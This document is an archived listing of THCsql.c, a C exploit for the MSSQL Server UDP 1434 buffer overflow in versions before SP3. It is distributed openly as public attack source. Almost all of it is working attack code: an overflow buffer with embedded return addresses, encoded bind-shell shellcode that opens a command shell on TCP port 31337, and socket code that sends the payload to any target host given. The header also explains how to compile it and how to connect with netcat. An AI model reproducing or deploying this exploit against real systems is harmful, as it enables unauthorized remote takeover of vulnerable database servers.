home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mssql / THCsql.c < prev   
C/C++ Source or Header  |  2005-02-12  |  5KB  |  141 lines
  1. /*****************************************************************************/
  2. /* THCsql 0.1 - MSSQL Server exploit for Server < SP3                        */
  3. /* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */
  4. /* THC PUBLIC SOURCE MATERIALS                                               */
  5. /*                                                                           */
  6. /* The exploit can be freely distributed !                                   */
  7. /*                                                                           */
  8. /* This is just another exploit for the well known mssql server bug which    */
  9. /* was found by David Litchfield last summer. Details in this advisory:      */
  10. /*           http://www.nextgenss.com/advisories/mssql-udp.txt               */
  11. /*                                                                           */
  12. /* This exploit was tested on an english Windows 2k Server SP2 and MSSQL     */
  13. /* Server with SP0 and SP2 and has worked properly. The used shellcode is    */
  14. /* completely offsetless, which makes this exploit quite stable              */
  15. /*                                                                           */
  16. /* After successful exploitation of this bug, a commandshell should spawn on */
  17. /* TCP port 31337 ! Use netcat to connect to this port !                     */
  18. /*                                                                           */
  19. /* If there's no connectable port 31337, maybe it's blocked by a firewall !  */
  20. /*                                                                           */
  21. /* compile with MS Visual C++ : cl THCsql.c /link ws2_32.lib                 */
  22. /*                                                                           */
  23. /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
  24. /* scut, stealth, zip, zilvio and the rest of the combo ......               */
  25. /*****************************************************************************/
  26.  
  27. #include <stdio.h>
  28. #include <stdlib.h>
  29. #include <string.h>
  30. #include <winsock2.h>
  31.  
  32. char badbuffer[] =
  33. "\x04"
  34. "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"
  35. "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"
  36. "\xdc\xc9\xb0\x42"
  37. "\xeb\x0e"
  38. "JC"
  39. "THC!"
  40. "\x01\x70\xae\x42"
  41. "\x01\x70\xae\x42"
  42. "\x8b\xfc\x83\xc7\x2c\x66\x81\xec\x04\x02\x33\xc9\xb2\x35\x66"
  43. "\x81\xc1\x38\x01\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16"
  44. "\x4f\x5c\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1"
  45. "\x36\xc5\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71"
  46. "\x79\x79\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f"
  47. "\x05\x6c\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d"
  48. "\xb8\x6a\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29"
  49. "\x34\xcc\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce"
  50. "\x04\xfc\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4"
  51. "\xd7\xb1\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c"
  52. "\x25\x40\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25"
  53. "\x74\x3a\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc"
  54. "\x71\xb8\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78"
  55. "\x17\xb8\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30"
  56. "\xb5\x70\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca"
  57. "\xca\xbc\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2"
  58. "\x60\x6d\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62"
  59. "\xca\x60\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca"
  60. "\x60\xd1\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b"
  61. "\x50\x4d\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1"
  62. "\x62\x62\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65"
  63. "\xb8\x70\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66"
  64. "\x66\x60\xca\x60\xd9\x5f\xca\xca\x60\xd5";
  65.  
  66. void usage();
  67.  
  68. int main(int argc, char *argv[])
  69. {  
  70.   unsigned short sqlport=1434;
  71.   unsigned int sock,addr,rc;
  72.   struct sockaddr_in sqludp;
  73.   struct hostent * hp;
  74.   WSADATA wsaData;
  75.  
  76.   printf("\nTHCsql v0.1 - Wind0wZ remote root sploit for MSSQL-Servers < SP3\n");
  77.   printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");
  78.   printf("bug was found by David Litchfield\n");
  79.   
  80.   if(argc<2)
  81.    usage();
  82.    
  83.     if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  84.   {
  85.    printf("WSAStartup failed !\n");
  86.    exit(-1);
  87.   }
  88.   
  89.   hp = gethostbyname(argv[1]);
  90.  
  91.   if (!hp){
  92.    addr = inet_addr(argv[1]);
  93.   }
  94.   if ((!hp)  && (addr == INADDR_NONE) )
  95.   {
  96.    printf("Unable to resolve %s\n",argv[1]);
  97.    exit(-1);
  98.   }
  99.  
  100.   sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  101.   if (!sock)
  102.   { 
  103.    printf("socket() error...\n");
  104.    exit(-1);
  105.   }
  106.   
  107.   if (hp != NULL)
  108.    memcpy(&(sqludp.sin_addr),hp->h_addr,hp->h_length);
  109.   else
  110.    sqludp.sin_addr.s_addr = addr;
  111.  
  112.   if (hp)
  113.    sqludp.sin_family = hp->h_addrtype;
  114.   else
  115.    sqludp.sin_family = AF_INET;
  116.  
  117.   sqludp.sin_port=htons(sqlport);
  118.  
  119.   rc=connect(sock, (struct sockaddr *) &sqludp, sizeof (struct sockaddr_in));
  120.   if(rc==0)
  121.   {
  122.     send(sock,badbuffer,sizeof(badbuffer)-1,0);
  123.     printf("\nexploit send .... sleeping a while ....\n");
  124.     Sleep(1000);
  125.     printf("\nok ... now try to connect to port 31337 via netcat !\n");
  126.   }
  127.   else
  128.    printf("can't connect to sql port udp 1434!\n");
  129.   
  130.   shutdown(sock,1);
  131.   closesocket(sock);
  132.   exit(0);
  133. }
  134.  
  135. void usage()
  136. {
  137.  unsigned int a;
  138.  printf("\nUsage:  <Host>\n");
  139.  exit(0);
  140. }
  141.